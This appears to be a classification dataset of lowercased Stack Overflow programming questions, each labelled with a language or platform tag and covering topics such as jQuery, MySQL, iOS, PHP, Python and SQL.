how to take html element without text   edit:    sorry for bad explanation so i have:   <pre><code> var x = $( span   this).get( 0 );  var y = x.outerhtml  </code></pre>   and it give me:  <code>&lt;span&gt; some text &lt;/span&gt;</code> but i want just only tag <code>&lt;span&gt;&lt;/span&gt;</code> with all atributes. my question is how to get it ;p    thanks for any help!,javascript
compare timestamps in mysql  i save timestamps in my database in this format 2012-04-16 08:58:55. i read a timestamp of my database and then i want to use this timestamp in another query and ask from the database to return records where the timestamp is greater equal than  this timestamp. i am using the  >=  but it is not working.     i am trying this one:   <pre><code>$query= select distinct timestamp text from array where id= $theid  and timestamp&gt;= $thistimestamp  ; </code></pre>,mysql
how to support landscape/portrait orientation only for one uiview  i m having 5 view controllers in my navigation based application  i need to support both landscape/portrait mode in only a one view  following items displaying in the view navigationbar tool bar with two buttons uiimageview in center. uilabe below the navigaton bar.    can any one help me how to support the orientation change to only for this view.    regards     sam.,iphone
how to remove css property in jquery <pre><code>if(prev_clicked) {        $( #accordion li a.category ).css( background-image    url( img/off_all_channel.png ) );                         $( #accordion li a.comment ).css( background-image    url( img/on_all_online.png ) );                        $( .icha0 ).removeproperty( background-color );     $( .icha0 ).removeproperty( opacity ); } else {       $( .icha0 ).css( background-color   #d5d5d2 );    $( .icha0 ).css( opacity   0.70 ); } </code></pre>   i am trying to remove two css properties that i added but it seems not working. any though,jquery
android: application is running in android device but not working in emulator  i am working in android. i designed an application. whenever i run this application in android device then it works fine. but when i run this application in android then it crashes.    these are statements in catlog:   <pre><code>java.lang.nullpointerexception at android.widget.tabhost.dispatchwindowfocuschanged(tabhost.java:295) at android.view.viewgroup.dispatchwindowfocuschanged(viewgroup.java:661) at android.view.viewgroup.dispatchwindowfocuschanged(viewgroup.java:661) at android.view.viewgroup.dispatchwindowfocuschanged(viewgroup.java:661) at android.view.viewroot.handlemessage(viewroot.java:1819) at android.os.handler.dispatchmessage(handler.java:99) at android.os.looper.loop(looper.java:123) at android.app.activitythread.main(activitythread.java:4363) at java.lang.reflect.method.invokenative(native method) at java.lang.reflect.method.invoke(method.java:521) at com.android.internal.os.zygoteinit$methodandargscaller.run(zygoteinit.java:860) at com.android.internal.os.zygoteinit.main(zygoteinit.java:618) at dalvik.system.nativestart.main(native method) </code></pre>   please help me to find out the reason for this problem.    thank you in advance.,android
how does ios knows which location manager delegate to call on region monitoring while the app is not running   i might be confusing how region monitoring works  but this is what i have so far:    i am registering a region to monitor through my location manager  which is implemented on a singleton class  this singleton is also set as the delegate of the location manager so the implemented method is being called.   <pre><code>- (void)locationmanager:(cllocationmanager *)manager didenterregion:(clregion *)region </code></pre>   this works totally as expected  if the app is active or suspended the method is being called. it also makes total sense because the class has been already loaded and when the region enter event occurs ios sends this even to my app which calls the location manager who registered (probably has a reference to it) and in turn it calls whatever delegate was also registered along it (since the class is there ready and loaded).    the issue is  what happens when the app has been killed  is it first launched into the background  how does ios know what delegate method to call  and if it has already been loaded,ios
what is type of these characters   i cannot copy/paste it here because it doesn t show in this editor. i attach it as a screenshot below:    <a href= https://i.stack.imgur.com/uipva.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/uipva.png  alt= enter image description here ></a>,javascript
object parameter in other function file don t work -->  notice: undefined property:...   i have folowing php code and class in different files:    /ch-ffhs-webe-timemanager-controller/anmeldenctrl.php:   <pre><code>&lt; php         include  ../ch-ffhs-webe-timemanager-database/datenbank.php ;         include  ../ch-ffhs-webe-timemanager-model/benutzer.php ;          $db = new datenbank();         $benutzer = new benutzer();         $benutzer-&gt;setbenutzername($_post[ bname ]);         $benuname = $benutzer-&gt;getbenutzername();         echo $benuname;         $benutzer-&gt;setpasswort($_post[ passwd ]);         $pwd = $benutzer-&gt;getpasswort();         echo $pwd;         if ($db-&gt;loginbenutzer($benutzer)) {             echo  &lt;p&gt;zugang erlaubt&lt;/p&gt; ;         } else {             echo  &lt;p&gt;zugang eigentlich nicht erlaubt ...&lt;/p&gt; ;         }      &gt; </code></pre>   /ch-ffhs-webe-timemanager-database/datenbank.php   <pre><code>&lt; php include  ../ch-ffhs-webe-timemanager-database/idatenbank.php ;  class datenbank implements idatenbank {      public function __construct() {      }      /**      * diese methode meldet einen beunutzer an das       * zeiterfasssungssystem an      * @param benuter :benutzer      * @return true falls login erfolgreich  sonst false      *       * {@inheritdoc}      * @see idatenbank::loginbenutzer()      */     public function loginbenutzer($benutzer) {          $passwort = $benutzer-&gt;getpasswort;         // error         $hashpw = $this-&gt;createhash($passwort);          if( password_verify($hashpw  $gespeicherter_hash) ) {              return true;          } else {              echo false;          }      }      public function createhash($password) {          return $hash = password_hash($password  password_default);     } . . }  &gt; </code></pre>   on line commented with  error  i become this error:   <blockquote>    notice: undefined property: benutzer::$getpasswort in c:\xampp\htdocs\eclipsews\timemanager\application\ch-ffhs-webe-timemanager-database\datenbank.php on line 24  </blockquote>   but the call in anmeldenctrl.php  $pwd = $benutzer->getpasswort();  works fine.    any helps please and thanks...    here the last class    /ch-ffhs-webe-timemanager-model/benutzer.php   <pre><code>&lt; php  class benutzer {  private $benutzername; private $passwort;  public function __construct() {  }  /**  * benutzername  * @return string  */ public function getbenutzername(){     return $this-&gt;benutzername; }  /**  * benutzername  * @param string $benutzername  * @return benutzer  */ public function setbenutzername($benutzername){     $this-&gt;benutzername = $benutzername;     return $this; }  /**  * passwort  * @return string  */ public function getpasswort(){     return $this-&gt;passwort; }  /**  * passwort  * @param string $passwort  * @return benutzer  */ public function setpasswort($passwort){     $this-&gt;passwort = $passwort;     return $this; } </code></pre>   }     >,php
python functions call by reference  in some languages you can pass a parameter by reference or value by using a special reserved word like <strong>ref</strong> or <strong>val</strong>. when you pass a parameter to a python function it never alters the value of the parameter on leaving the function.the only way to do this is by using the <strong>global</strong> reserved word (or as i understand it currently).    <em>example 1:</em>   <pre><code>k = 2  def foo (n):      n = n * n     #clarity regarding comment below      square = n      return square  j = foo(k) print j print k </code></pre>   would show   <pre><code>&gt;&gt;4 &gt;&gt;2 </code></pre>   showing k to be unchanges    in this example the variable n is never changed    <em>example 2:</em>   <pre><code>n = 0 def foo():     global n     n = n * n     return n </code></pre>   in this example the variable n is changed    is there any way in python to call a function and tell python that <strong>the parameter</strong> is either <strong>a value</strong> or <strong>reference</strong> parameter instead of using global     secondly   in the a level cambridge exams they now say a function returns a <strong>single</strong> value whereas a procedure returns <strong>more than one</strong> value. i was taught a function has a return statement and procedure does not  during the 80s. why is this now incorrect,python
css to affect specific level of  li   i have a css class called <code>sidebar_menu</code> it affects a menu on the sidebar (duh) that sometimes has nested submenus    for example  lets say i have this:   <ul> <li>delaware</li> <li>ohio <ul> <li>cleveland</li> <li>columbus</li> </ul></li> <li>texas</li> </ul>   i am trying to only affect the first level of the list  so i have been trying things like the direct child selector  but to no avail. if i have the code    <code>div.sidebar_menu ul.menu &gt; li {font-weight: bold;}</code>    i am looking for   <ul> <li><strong>delaware</strong></li> <li><strong>ohio</strong> <ul> <li>cleveland</li> <li>columbus</li> </ul></li> <li><strong>texas</strong></li> </ul>   instead  i get every item in the submenus boldfaced as well  which i dont want. any idea how to fix this,css
difference between  controls.add()  and  this.controls.add()  in asp.net (c#)  what is the difference between  controls.add(xyz)  and  this.controls.add(xyz)  in asp.net (c#)      how/when does it matter if i am adding the same control onto a webpage but via two (different) aforementioned methods     when one should be preferred over the other,asp.net
how to download file and reload  i have a page which contains a button that perform the following code  i want to reload the page after the response end so that update a grid in that page.  or suggest a way to update the grid after response end.   <pre><code>string report = new bll.orderreport.orderreport().generatefullfilmentreport(fromdate  todate               string.isnullorempty(generationid)  null : ((int )int.parse(generationid)) );          if (!string.isnullorempty(report))         {               loadreporthistory();              response.contenttype =  text/plain ;             response.appendheader( content-disposition    attachment; filename=report.text );             response.write(report);             response.end();         } </code></pre>   thanks,asp.net
asp.net css friendly menu adapter  i have used the css friendly menu in one of my projects and have found it great  however i have 2 different areas in the same project and would like to use the css friendly menu in just some of my pages.    how can i prevent all other menus from using the css friendly menu dll     thank you    josimari,asp.net
long click also triggers regular click <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/5428077/android-why-does-long-click-also-trigger-a-normal-click >android: why does long click also trigger a normal click </a>    </blockquote>     duplicate of <a href= https://stackoverflow.com/questions/5428077/android-why-does-long-click-also-trigger-a-normal-click >android: why does long click also trigger a normal click </a> and <a href= https://stackoverflow.com/questions/742171/longclick-event-also-triggers-click-event >longclick event also triggers click event</a>  but those don t contain a solution to my problem.    my onlongclicklistener returns <code>true</code>  but i m still getting onclick after it  same is i return false. why,android
swift code: how to launch a specific view controller after receiving a remote push notification  in swift  my <strong>main.storyboard</strong> had 2 view controllers (<code>mainvc</code>  <code>secondvc</code>)  both embedded in their navigation controller. when receiving a remote push notification  how do i change code in <code>appdelegate</code> to have the <code>secondv</code>c view controller launch everytime. i currently have code in post the notification in <code>didreceiveremotenotification</code>  and have code in the <code>secondvc</code> to add observer    in <code>appdelegate.swift</code>  my code is as follows:   <pre><code>func application(application: uiapplication  didfinishlaunchingwithoptions launchoptions: [nsobject: anyobject] ) -&gt; bool {     var type = uiusernotificationtype.badge | uiusernotificationtype.alert | uiusernotificationtype.sound     var setting = uiusernotificationsettings(fortypes: type  categories: nil)     uiapplication.sharedapplication().registerusernotificationsettings(setting)     uiapplication.sharedapplication().registerforremotenotifications()     return true } func application(application: uiapplication  didreceiveremotenotification userinfo: [nsobject : anyobject]) {     nsnotificationcenter.defaultcenter().postnotificationname( mynotificationtype   object: nil  userinfo: userinfo)  } </code></pre>   in the <code>secondvc</code>  i have code as follows:   <pre><code>override func viewwillappear(animated: bool) {     println( viewwillappear() )     nsnotificationcenter.defaultcenter().addobserver(self  selector:  authenticatewithtouchid:   name:  mynotificationtype   object: nil) } override func viewwilldisappear(animated: bool) {     println( viewwilldisapper )     nsnotificationcenter.defaultcenter().removeobserver(self  name:  mynotificationtype   object: nil) } </code></pre>,ios
nsmutableset error - unexpected identifier <pre><code>nsmutableset *validoperations = [@ sin   @ cos   @ sqrt   @ π   @ +/-  @ +   @ -   @ *  @ /  nil];  </code></pre>   i am having an unexpected identifier error with this  what am i doing wrong     sorry  if this question seems lame  but it s actually my first time coding with objective-c so i don t really know what the problem is here  so experienced programmers  please help me out!,objective-c
adding a taprecognizer to a uiscrollview  is it possible to add a taprecognizer to detect single taps on a uiscrollview so that it wont interfere with the paging and scrolling     if so  hows is this set up,iphone
how do you put an if/else statement inside an object key   i m trying to create a person class. the person s age would be a random number  determined by an if/else statement. right now it seems to only work if i place the function outside of the object  or as a separate key.   <pre><code>function age(x) {     if (x.tolowercase().charcodeat(0) &lt;=  g .charcodeat(0)) {         return math.floor(math.random()*40+1);     }     else {         return math.floor(math.random()*40+41);     } }  function person(name) {     this.name = name;     this.age = age(name); }  var people = {     joe: new person( joe ) };  console.log(people.joe.age); \\ returns a number 41-80 </code></pre>   is there a way for me to put the function directly into the  this.age  key and have the same thing happen  like so:   <pre><code>function person(name) {     this.name = name;     this.age = function age() {         if (this.name.tolowercase().charcodeat(0) &lt;=  g .charcodeat(0)) {             return math.floor(math.random()*40+1);         }         else {             return math.floor(math.random()*40+41);         } }; </code></pre>,javascript
system.data.datarowview exception when inserting row into sql server  im getting an error no mapping exists from object type system.data.datarowview to a known managed provider native type every time i click my button.. here s my code..   <pre><code>private sub button1_click(byval sender as system.object  byval e as system.eventargs) handles button1.click      dim insertcommand = &lt;xml&gt;     insert into returns(         department           purpose           item_details           requested_by           approved_by           returndate     )      select         department           purpose           items_details           requested_by           approved_by           date      from borrow      where id = @borrowid; &lt;/xml&gt;      dim param = cmd.createparameter()     param.parametername =  @borrowid      param.value = listbox1.selectedvalue       cmd.commandtext = insertcommand.value     cmd.parameters.add(param)      cmd.connection = con     try         con.open()         cmd.executenonquery()      catch sqlexceptionerr as exception         msgbox(sqlexceptionerr.tostring)       finally         con.close()     end try  end sub </code></pre>,.net
sql query trick  i need to do   <pre><code>select * from xxx where name in (a b c...); </code></pre>   but i want the result set to be in the order of <code>(a b c...)</code>.  is this possible,sql
finding movies that had an hd release and dvd release on the same year  so i have a table excerpt that looks like this:   <pre><code>title         type     year   rating ------------------------- interstellar  dvd   2014    8.4 interstellar  hd    2014    8.4 12 angry men  dvd   1969    8.9 the pianist   hd    2001    8.1 the pianist   dvd   2001    8.1 dragon ball z hd    2011    8.4 dragon ball z dvd   1999    8.3 </code></pre>   i want to retrieve all titles that have a dvd and hd released in the same year. so  i would want to get interstellar  the pianist but not dragon ball z since it s hd and dvd version were released on different years.    i managed to do it by joining tables but is it possible to do it without any joins,sql
how to set focus to textbox without using an id to specify which textbox  i have this html   <pre><code>&lt;div&gt;   &lt;input /&gt;   &lt;span ondblclick= setfocustoinput() &gt;42&lt;/span&gt; &lt;/div&gt; </code></pre>   in <code>setfocustoinput()</code> method  how do i set the focus to the input     this sample is highly simplified.  the actual html is a treeview.  the treeview can have the above repeated many times.  thus i cannot use an id on the div  the input  or the span.    the only reference i actually have is the event which is generated by the ondblclick event.  the only thing which is certain is that the textbox which comes directly before the span is the one associated with the span.    what is happening in the treeview is that the user doubleclicks the span (which is the treeview text) and the treeview then unhides the textbox so the user can edit the value.      i need to be able to set focus to this textbox.,html
exit all threads in multithreaded program  i have a multithreaded program and in the code below  when the value of y becomes less than 0  i need all the threads to stop running.     here s the source code -    <pre><code>     else if(y&lt;0)      {              flag=1;              printf( exit the program\n );              pthread_exit((void *)55);              printf( sdjfajdflsdj );              // return null;      } </code></pre>   what is happening is that the program is printing the line - exit the program  but gets stuck over there. it does not go to the line printf( sdjfajdflsdj ); and neither does it exit the code.     can someone please help      thanks,c
dynamically add an offset border to all images  i am looking to create this effect on all images within a wp article  where the image has a border  but another  offset  border:    <a href= https://i.stack.imgur.com/onup4.jpg  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/onup4.jpg  alt= enter image description here ></a>    i cannot use pseudo elements on images  and i don;t want to use the  outline  css property because of browser support  so is my only option js  or am i being thick     thanks all,css
how to implement searching words in a file and then writing in another file   im trying to make sic assembler in c  made a small test program to search for  start  keyword and get the starting address from the assembly code file. then write them in another file as first pass. code didn t work. mind telling whats wrong with it    <pre><code>#include&lt;stdio.h&gt; #include&lt;stdlib.h&gt; #include&lt;string.h&gt;  int main(int argc  char *argv[]) {     file *source;     file *intermediate;     rewind(source);     char word[10];     unsigned int address = 0;     char start[5] =  start ;     source = fopen(argv[1]  r );     intermediate = fopen(argv[2]  r+ );     while(strcmp(word start) != 0)     {         fscanf(source   %s   word);     }     fscanf(source   %x   address);     fprintf(intermediate   %x   address);     fprintf(intermediate   %s   word);      return(0); } </code></pre>   this is the assembly input:   <pre><code>  copy   start  1000   first  stl    retadr   cloop  jsub   rdrec          lda    length          comp   zero          jeq    endfil          jsub   wrrec          j      cloop   endfil lda    eof          sta    buffer          lda    three          sta    length          jsub   wrrec          ldl    retadr          rsub   eof    byte   c eof    three  word   3   zero   word   0   retadr resw   1   length resw   1   buffer resb   4096 </code></pre>,c
pythonxy and spyder fail to start -- type error in configparser.py  have been using spyder via pythonxy and today it stopped working.  i seem to be able to start the other utilties in the pythonxy program folder (eg  mayavi  ipython console  etc) but neither pythonxy or spyder will start properly.  when i start them from the command line i get the following error trace.  any suggestions on how to fix this (already tried uninstalling and reinstalling pythonxy/python)    <pre><code>traceback (most recent call last):   file  c:\python27\scripts\xyhome.pyw   line 20  in &lt;module&gt;     from xy import xyhome   file  c:\python27\lib\site-packages\xy\xyhome.pyw   line 60  in &lt;module&gt;     from xy.config import (conf  startup_path  log_path  plugins  xy_version    file  c:\python27\lib\site-packages\xy\config.py   line 40  in &lt;module&gt;     conf = userconfig( xy   defaults=defaults  version=__version__  subfolder= . xy )   file  c:\python27\lib\site-packages\xy\userconfig.py   line 110  in __init__     if version != self.get_version(version):   file  c:\python27\lib\site-packages\xy\userconfig.py   line 130  in get_versio n     return self.get(self.default_section_name   version   version)   file  c:\python27\lib\site-packages\xy\userconfig.py   line 266  in get     self.set(section  option  default)   file  c:\python27\lib\site-packages\xy\userconfig.py   line 332  in set     self.__save()   file  c:\python27\lib\site-packages\xy\userconfig.py   line 167  in __save     self.write(conf_file)   file  c:\python27\lib\configparser.py   line 407  in write     fp.write( [%s]\n  % section) typeerror: must be unicode  not str &gt;&gt;&gt; </code></pre>   when i print out the conf_file from the last userconfig.py call the parameter does appear to be unicode:   <pre><code>&lt;_io.textiowrapper name=u c:\\users\\rclement\\.xy\\.xy.ini  encoding= utf-8 &gt; </code></pre>  <hr>   i was able to obtain a working re-installation by deleting the c:\python27 directory and the associated sub-directories left by non-pythonxy installed packages. no registry changes were made and the windows environment path settings were left as i had set them.  i still do not know the cause of the problem.,python
sprintf messing around with my pointers and data  <pre><code>char purl[1024]; unsigned char * pumember; unsigned char umember; pumember = &amp;umember;  unsigned char * pmember; unsigned char member; pmember = &amp;member;  printf( member: %s\n  pmember); printf( username :%s\n  pumember); sprintf(purl   username: %s %s  pumember pmember); printf( url:%s\n  purl); printf( member: %s\n  pumember); printf( username :%s\n  pmember); </code></pre>   output   <pre><code>member: 12345678 username :user1 url: username: cuser1 ser1 member: user1 username :ser1 </code></pre>   im confused into why sprintf is messing up my pointers once its been executed.    pmember has 12345678 and pumember has user1  im trying to format the them into a string (purl) but it seems that sprintf is messing them up :/    any help how i could accomplish this,c
is it possible to create a application using gtk# and and the .net standard library   is it possible  to create a application using gtk# and and the .net standard library  or  is the base class library on .net framework  all compatible with the mono s base class library,.net
generate values for str.format style template strings from formatted output  this might seem like a wierd requirement  but i am looking for a good implementation to do this.    i have a dict like   <pre><code>vals = dict(red= #f00   green= #0f0   blue= #00f ) </code></pre>   and a string like   <pre><code>tpl =  {red}:{green}:{blue}  </code></pre>   and the <code>str.format</code>ted output   <pre><code>output = tpl.format(**vals) </code></pre>   all is well till here. however  i now need to do the reverse of this. i have to turn a string like <code> #f00:#0f0:#00f </code> into a dict of the values that we previously started with. of course  i could just <code>split</code> and <code>strip</code> the string and take the values i need  but it will fail in the event the <code>tpl</code> string should change.    any good ideas on how i can do this (if it can even be done  that is),python
currentviewcontroller can be called dealloc but it tableviewcell can t be call dealloc  <pre><code>#pragma mark - createdatasource  -(nsmutablearray*)datasource {     if (_datasource == nil) {         _datasource = [nsmutablearray array];     }     return _datasource; }  #pragma mark - createtableview  -(uitableview *)tableview {     if (!_tableview) {         cgrect rect =self.view.frame;         _tableview = [[uitableview alloc]initwithframe:cgrectmake(0  0  cgrectgetwidth(rect)  cgrectgetheight(rect)-64 - self.chattoolbar.frame.size.height) style:uitableviewstyleplain];         _tableview.delegate = self;         _tableview.datasource = self;         _tableview.backgroundcolor = [uicolor clearcolor];         _tableview.tablefooterview = [[uiview alloc]init];         _tableview.separatorstyle = uitableviewcellseparatorstylenone;         uilongpressgesturerecognizer *lpgr = [[uilongpressgesturerecognizer alloc]initwithtarget:self action:@selector(handlelongpress:)];         lpgr.minimumpressduration = .5;         //_tableview.backgroundcolor = [uicolor blackcolor];         //self.view.backgroundcolor = [uicolor redcolor];         //_chattoolbar.alpha = 0;         //[_tableview addgesturerecognizer:lpgr];         //_tableview.bounces = no;     }     return _tableview; }  #pragma mark - dealloc in currentviewcontroller  -(void)dealloc      //it be called when i use it s navigation pop back. {     _tableview.delegate = nil;     _tableview.datasource = nil;     _tableview = nil;      _slimeview.delegate = nil;     _slimeview = nil;      _chattoolbar.delegate = nil;     _chattoolbar = nil;        //清除当前聊天的用户     appdelegate *appdelegate = (appdelegate*)[[uiapplication sharedapplication]delegate];       appdelegate.currentchattingname = nil;      [[easemob sharedinstance].chatmanager stopplayingaudio];     [[nsnotificationcenter defaultcenter]removeobserver:self];     [[easemob sharedinstance].chatmanager removedelegate:self];     [[[easemob sharedinstance] devicemanager]removedelegate:self];     [[nsnotificationcenter defaultcenter]removeobserver:self name:@ kdxnotificationheadimagepressed  object:nil];     [[nsnotificationcenter defaultcenter]removeobserver:self name:knotification_refreshbackbtnunreadmessagecount object:nil];     [[nsnotificationcenter defaultcenter]removeobserver:self name:knotification_chatview_save_messagecount object:nil];     [[nsnotificationcenter defaultcenter] removeobserver:self name:longpresstextnotification object:nil];   }  #pragma mark - when i use block   -(void)addchatdatatomessage:(emmessage*)message {     __weak chatviewcontroller *weakself = self;   // sometimes i like use __weak typeof(self) weakself = self;  is there have problem due to i use self.datasource and self.tableview       dispatch_async(_messagequeue  ^{         nsarray *messages = [weakself addchattomessage:message];         nsmutablearray *indexpaths = [[nsmutablearray alloc]init];          for (int i = 0; i&lt;messages.count; i++) {             nsindexpath *indexpath = [nsindexpath indexpathforrow:(weakself.datasource.count + i) insection:0];             [indexpaths addobject:indexpath];         }          dispatch_async(dispatch_get_main_queue()  ^{             //[weakself.tableview beginupdates];             [weakself.datasource addobjectsfromarray:messages];             [weakself.tableview insertrowsatindexpaths:indexpaths withrowanimation:uitableviewrowanimationnone];             //[weakself.tableview endupdates];             dispatch_async(dispatch_get_main_queue()  ^{                 [weakself.tableview scrolltorowatindexpath:[indexpaths lastobject] atscrollposition:uitableviewscrollpositionmiddle animated:yes];                 [weakself.tableview reloaddata];              });         });     });      //[self scrollviewtobottom:yes];  } </code></pre>   is there have problem i override self.tableview    i use block with weak self.i can t find where i make my cell can t dealloc. my cells didn t use protocol too.thanks for you read.,ios
how to pass a variable to render_to_string from a model   i m trying to pass a variable to render_to_string from a model.    this question is similar to <a href= https://stackoverflow.com/questions/3714198/how-to-pass-variables-to-render-to-string >how to pass variable to render_to_string </a>    i ve read the answers in that question. i m trying to use the <code>locals</code>. but  i still can t get it to work.    this is my model code:   <pre><code>pdf2 = costprojectscontroller.new.render_to_string pdf:  captital projects.pdf   template:  costprojects/viewproject   encoding:  utf-8   locals: {:@costproject =&gt; @costproject} </code></pre>   but  in the view <code>costprojects/viewproject</code>  <code>@costproject</code> is nil and <code>costproject</code> is nil    i ve tried:   <pre><code>locals: {costproject: @costproject} locals: {@costproject: @costproject} locals: {:costproject =&gt; @costproject} </code></pre>   thanks for the help!!    update1 (i appreciate the help)    i tried this (adding parens):   <pre><code>pdf2 = costprojectscontroller.new.render_to_string(pdf:  captital projects.pdf   template:  costprojects/viewproject   encoding:  utf-8   locals: {costproject: @costproject}) </code></pre>   i added this line just before <code>pdf2</code>   <pre><code>raise @costproject.inspect </code></pre>   and i got:   <pre><code>#&lt;costproject id: 9  project_name: ... </code></pre>   in the view  should the passed var be <code>@costproject</code>,ruby-on-rails
list all folders which match defined path pattern  i need to perform some operations on all folders within a file share which match a defined pattern. the pattern may refer to a number of levels in the tree  e.g. <code>\test\[a-z]+\project[0-9]{3}</code>    what is the most efficient way to traverse the tree to find all matching folders   is there a better way to do this than a simple recursive depth first search using directoryinfo and di.getdirectories()  like such:   <pre><code>private void traversesubfolder(directoryinfo folder) {     if (filter.ismatch(folder.fullname)) {        dostuff(folder);     }      directoryinfo[] subfolders = folder.getdirectories();     foreach (directoryinfo sf in subfolders)     {         traversesubfolder(sf);     } } </code></pre>,.net
how to get specific result from a sql table  from the following data-script i want to get as a select result only the last combination ( 1111111113    viber ). i want to search the temp table and try to find numbers that have been used only with one type (for my example only  viber ).   <pre><code>create table #temp (number nvarchar(max)   [type] nvarchar(max) ); insert into #temp values ( 1111111111    tel  )  ( 1111111111    tel  )  ( 1111111111    viber  )  ( 1111111111    viber  )  ( 1111111111    tel2  )  ( 1111111111    tel2  )  ( 1111111112    tel  )  ( 1111111112    tel  )  ( 1111111112    tel2  )  ( 1111111112    tel2  )  ( 1111111113    viber  )  ( 1111111113    viber  ); </code></pre>   my first thought was the following select query   <pre><code>select distinct        * from #temp where [type] =  viber        and number not in (     select number     from #temp     where [type] &lt;&gt;  viber  ); </code></pre>   but i m trying to find if there is an other way maybe more efficient than this. my table is going to hav millions of data in it so i need to be sure that the result of my search wiil be fast enough.    thanks in advance.    ps. this is my first time posting something on stackoverflow after years of reading so please excuse me if i did something the wrong way.,sql
how to add notifications  when there is any change in webview app   how to add notifications to <code>webview</code> app when there is any changes in the web url. i.e. if user creates a new task in <code>webview</code> then i need to notify user.,android
php unexpected syntax error  i have an error within this php else if statement (which is part of an if statement):   <pre><code>parse error: syntax error  unexpected  }  in /home1/tony1964/public_html/2v2tournaments/action.php </code></pre>   the place where the unexpected  }  is at the end of the code below. i can t figure out why this doesn t work. thanks in advance for any help.   <pre><code>    else if (isset($_get[ do ]) &amp;&amp; $_get[ do ] ===  reg_type_2 ) {          include( php-riot-api.php );         $summoner_name_input = $_post[ summonername ];         $summoner_name = str_replace(      _   $summoner_name_input);         $summoner_region = $_post[ summonerregion ];         $verify_code_input = $_post[ verify_code ];         $verify_code = str_replace(      _   $verify_code_input);         $instance = new riotapi($summoner_region);         $grab_data = $instance-&gt;getsummonerbyname($summoner_name);         $decode_data = json_decode($grab_data);         $grab_id = $decode_data-&gt;{ id };         var_dump($grab_id);         $grab_runes = $instance-&gt;getsummoner($grab_id  runes );         $decode_runes = json_decode($grab_runes);         $rune_check = $decode_runes-&gt;{ name };          if ($rune_check = $verify_code) {             $logged_user = $_session[ logged_user ];          if (!($stmt  = $con-&gt;prepare( insert into `verified_summoners`   (`username` `summonername` `summonerregion`) values (     ) )) || !is_object($stmt)) {             die(  error preparing: (  .$con-&gt;errno .  )   . $con-&gt;error);         }          $stmt-&gt;bind_param( sss   $logged_user  $summoner_name  $summoner_region);          if($stmt-&gt;execute()) {              echo  successfully verified! check out your new list! &lt;a class= content  href= index.php &gt;&lt;span class= button color_yellow &gt;return&lt;/span&gt;&lt;/a&gt; ;          } else {             echo  unsuccessful insert  contact support or try again... ;         }          $stmt-&gt;close();     }  } else {      echo  o dear  it didn t work! try again! ; } </code></pre>   },php
converting lines of a file containing arrays to a list of dictionaries  i have a file  each line of which contains data that i would like to read into a dictionary  resulting in a list of dictionaries. or a dictionary of dictionaries  keyed by the first element from each line. the first element of each line is the only one that i can guarantee will be of the same type from line to line  i.e. it s a name.  the data in the file looks something like this:   <pre><code>name:value1  var2:( str1    str2   str3 )  var3:[0.1 1 10]   var4:range(1 10) name:value2  var5:( str1    str2 )  var6:range(1 10) </code></pre>   and i d like to have it end up something like this:   <pre><code>dictionarylist=[ { name :  value1    var2 :( str1    str2   str3 )  var3:[0.1 1 10]   var4:range(1 10)}  {name:value2  var5:( str1    str2 )  var6:range(1 10)} ]  </code></pre>   there s a number of questions about reading lines into elements of a single dictionary or <a href= https://stackoverflow.com/questions/43662449/read-a-file-into-a-nested-dictionary >reading a file into a nested dictionary</a>. they all rely on splitting the line on a comma though. i.e.   <pre><code>content = f.readlines()     for line in content:         line = line.strip( \r ).strip( \n ).split( : ) </code></pre>   if i do that  i end up with breaks in the ranges and arrays and wotnot. i was borderline going to use : as a separator  but that feels like horribly bad form and i have no way to automatically convert the correct commas to colons when i get sent more data. is there a way to get around this,python
error for input() function in python  i m a python newbie and i get the following error for the code...   <pre><code>name = input( what s your name   ) print(name) </code></pre>   output:   <pre><code>g:\code\python&gt;userinput.py what s your name  jeremy traceback (most recent call last):   file  g:\code\python\userinput.py   line 3  in &lt;module&gt;     name = input( what s your name   )   file  &lt;string&gt;   line 1  in &lt;module&gt; nameerror: name  jeremy  is not defined </code></pre>   the code gets executed only if i replace the input() as raw_input... how do i get it to display the message just by including the input()  i get that it has got something to do with the python interpreter versions (i ve got both python27 and python34 installed). how do i go on about that,python
mysql query two (count)  i m experiencing a little trouble with count. i need to count files and folders onto a storage. here my structure.   <pre><code>database  storage   storage_id    storage_name   1             server 01   folders   folder_id   folder_storage_id   folder_name   1           1                   example folder   files   file_id    file_folder_id    file_name   1          1                 test.pdf   2          1                 test2.pdf   3          1                 test3.pdf   4          1                 test4.pdf   query  select  *   folder_storage_id as folder_id  count(*) as folder_qty   file_folder_id as file_id  count(*) as files_qty  from files  left join folders on folder_id = file_folder_id  left join storage on storage_id = folder_storage_id </code></pre>   i receive same value (4) for $folder_qty and $files_qty    expected    ($folder_qty) 1    ($files_qty ) 4,mysql
working with data from sql  i will try to explain as better as i can in order to be simple for u to understand what i want.    <strong>first of all im using c# and i will just do a query to my database in sql to get the results and work with them.</strong>    <strong>second i have this query(forget all the columns and focus on id and datantext:</strong> <img src= https://i.stack.imgur.com/6betd.png  alt= enter image description here > <strong>3rd now that i got the query i want i just did copy-past to my c# application(more exacly in commandtext and i get this code:</strong>   <pre><code>string connectionstring= configurationmanager.connectionstrings[ umbracodbdsn ].tostring();                  sqlconnection mycon = new sqlconnection(connectionstring);                 sqlcommand mycommand = new sqlcommand();                  mycommand.commandtext =  select * from cmspropertydata where contentnodeid in (select contentnodeid from cmspropertydata where propertytypeid = 138 and datantext like  41 )and propertytypeid = 137 and datantext is not null and datantext not like    ;                 mycommand.connection = mycon;                 mycon.open();                  sqldatareader reader;                 reader = mycommand.executereader();                  while (reader.read())                 {                  } </code></pre>   until here its all fine as i wanted  now my problem is:    how can i work with the data that i get   i want to do something like this:    <strong>1-read line 1</strong>    <strong>2-read datantext (if there is more than one date split by (   )</strong>     <strong>3-and test if the date is closing to end</strong>     <strong>4-if so  response.write( the item with id=    is closing to end );</strong>    and repeat this for each linne     i explained as better as i could hope u guys can help me!,c#
how can i store a list and clear it from the settings page on ios   i need to be able to store a list of data (either strings or objects) that is remembered by my app after it s closed. the user also needs to be able to go into the settings page for the app and clear this data by pressing a button.    everything i read about the settings in ios suggests that the only things that can appear there are controls that expose a specific setting. is it possible to add a button that clears a setting list or is this unsupported     edit: i ve just realised this must be possible because safari does it - see the  clear history  button: <img src= https://i.stack.imgur.com/2d1bh.png  alt= enter image description here >,ios
